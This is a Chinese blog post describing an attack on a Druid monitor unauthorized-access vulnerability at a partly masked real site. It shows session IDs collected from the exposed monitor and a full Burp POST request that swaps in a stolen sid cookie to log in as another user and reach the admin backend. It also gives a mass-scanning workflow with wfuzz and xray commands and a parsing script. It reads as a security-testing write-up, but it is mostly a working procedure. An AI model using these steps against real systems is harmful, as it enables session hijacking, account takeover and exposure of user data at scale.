Loading

Druid未授权访问实战

Druid及未授权访问漏洞简介:

1、Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。

2、Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。

3、当开发者配置不当时就可能造成未授权访问漏洞。

漏洞特征:

http://www.xxxx.com/druid/index.html

漏洞名称:

大数据产品平台通过DruidMonitor未授权访问可获取管理员信息

漏洞地址:

https://****.bl******.com.cn/***-***-service/druid/index.html
http://****.bl******.com.cn/***-****-view/#/

漏洞概述:

本漏洞是通过Druid Monitor未授权访问找到SESSION监控页面下面的一些SESSION信息和URI监控下的路径,以及通过配合目标网站大数据产品平台的登录等一系列测试,可获得一起管理员以及其他注册成员信息。

攻击流程:

首先,是未授权的访问界面,主要关注Session监控和URI监控这两个地方,如图:

1620

可以看到,存在了大量SESSION信息,我们找几个拿来用,需要访问的IP地址是外外网IP,因为内部访问的用不了,我收集了下面这三个:

0b055336-85f8-4bdc-8008-d45dc23c6b2f
7a5681a1-a790-47fa-948b-a1f1a3532d09  
3aaaa4d3-1259-4e64-835d-fb1f9bf35eda

既然有session了,下面要找到登录界面尝试一下登录的时候替换session会有什么效果,然后我再URI监控的地方找到了一些后台登录地址:

1620-16507032518791

直觉感觉membership/index 页面可能不寻常,构造使用下方POST包,使用Burp发包:

POST /********-service/me****ship/index/ HTTP/1.1
Host: *****.bl*******.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101Firefox/79.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 101
Origin: http://***p.********.com.c*
Connection: close
Referer: http://*****.bl*******.com.cn/******-view/
Cookie: Hm_lvt_ed752fa41bdfde359bfde28ccd27b888=1597904479,1597907505;sid=0b055336-85f8-4bdc-8008-d45dc23c6b2f;token=029d8a6ac03358de6e57c7254acbd017;

username=80560478&password=FSMBKxmUSkq9MfJjyAgyEA%3D%3D&isCookieLogin=Y&validationCode=anqr&brand=999

其中要注意的是Cookie中的sid参数,即为session里面监控找到的数据,使用burp观察返回包:

img

1620-16507032518793

可以看到用在Session监控下收集的数据,替换过后,可以得到用户名和用户ID。

下面我们需要使用到用户id,来到某大数据产品平台,输入用户id,密码随便填写

我们使用80560478这个账号,也就是上面通过session获取到的:

1620-16507032518804

发送到repeater模块,进一步操作,首先可以看到,会提示密码错误:

1620-16507032518805

我们将标记的sid替换为前面收集0b055336-85f8-4bdc-8008-d45dc23c6b2f这个,也就是获取到账号80560478的session:

1620-16507032518806

1620-16507032518807

最终可以看到成功登录到后台页面。

批量验证Druid未授权访问漏洞

1、首先收集一波域名,整理到一个TXT文件中,我使用的是Oneforall进行批量探测子域名,如果使用Oneforall,记得挂上代理,扫描结果会多出来很多哦。具体子域名收集大家都有自己偏爱的那款工具,所以不过多展示了。

2、扫了一批子域名后,我会使用WFUZZ进一步验证子域名的存活性,我使用了下面的命令:

wufzz -w 子域名.txt --hw 0 --hc 500,501,502,504,505,400 -Z -L -f 输出.txt --conn-delay 5 http://FUZZ
注意:
使用--conn-delay 5:为设置超时5秒后跳过,默认是90秒。

复制

3、WFUZZ文本保存结果不适合直接使用,大家可以自己编写小脚本对文件进行处理,或者大佬们不嫌弃的话,可以使用下面这个小代码

1620-16507032518808

def spl(filename,saveFile):
    openFile = open(filename,"r")
    saveFile = open(saveFile,"w")
    lines = openFile.readlines()
    
    for i in lines:
        x = i.split('"')[1]
        x1 = "http://" + x
        saveFile.writelines(x1+'\n')
        print(x1)
    saveFile.close()
    openFile.close()

if __name__ == "__main__":
    filePath = input("Input your filepath: ")
    savePath = input("Sava File name: ")
    spl(filePath,savePath)
    print("hey BOY,Fighiting@@@")

4、最后我会使用Xray单独开启Druid检测插件,进行批量检测,需要注意的是,一定要把config.yaml中其他检测都关掉,比如SQL注入,XSS注入等等,可以更快的只针对Druid未授权进行检测,如图:

1620-16507032518809

Xray批量检测Druid未授权访问命令:

./xray webscan --poc poc-yaml-druid-monitor-unauth--url-file ./存活的子域名.txt --html-output test.html
posted @ 2022-04-23 16:58  我是面包  阅读(4398)  评论(1编辑  收藏  举报